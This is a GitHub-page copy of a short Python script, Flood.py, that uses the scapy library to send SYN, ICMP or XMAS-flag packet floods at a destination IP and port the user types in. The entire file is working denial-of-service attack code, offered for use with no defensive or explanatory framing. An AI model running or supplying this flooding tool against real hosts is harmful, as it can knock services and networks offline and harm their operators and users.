-
Notifications
You must be signed in to change notification settings - Fork 0
/
Flood.py
72 lines (56 loc) · 1.89 KB
/
Flood.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#/usr/bin/python3
#@EmreOvunc
#@0x00
#Source - https://github.com/EmreOvunc/Icmp-Syn-Flood
#Requirements - pip3 install scapy
from scapy.all import *
def main():
user_input = input("Please select one of the attack type [syn, icmp, xmas]: ")
if user_input == "icmp":
icmpflood()
elif user_input == "syn":
synflood()
elif user_input == "xmas":
xmasflood()
else:
print("[ERROR] Select one of the attack type !!!")
main()
def icmpflood():
target = destinationIP()
cycle = input("How many packets do you sent [Press enter for 100]: ")
if cycle == "":
cycle = 100
for x in range (0,int(cycle)):
send(IP(dst=target)/ICMP(), verbose=0)
def synflood():
target = destinationIP()
targetPort = destinationPort()
cycle = input("How many packets do you sent [Press enter for 100]: ")
if cycle == "":
cycle = 100
for x in range(0, int(cycle)):
send(IP(dst=target)/TCP(dport=targetPort,
flags="S",
seq=RandShort(),
ack=RandShort(),
sport=RandShort()), verbose=0)
def xmasflood():
target = destinationIP()
targetPort = destinationPort()
cycle = input("How many packets do you sent [Press enter for 100]: ")
if cycle == "":
cycle = 100
for x in range(0, int(cycle)):
send(IP(dst=target)/TCP(dport=targetPort,
#flags="FSRPAUEC",
flags="PAUSECRF",
seq=RandShort(),
ack=RandShort(),
sport=RandShort()), verbose=0)
def destinationIP():
dstIP = input("Destination IP: ")
return dstIP
def destinationPort():
dstPort = input("Destination Port: ")
return int(dstPort)
main()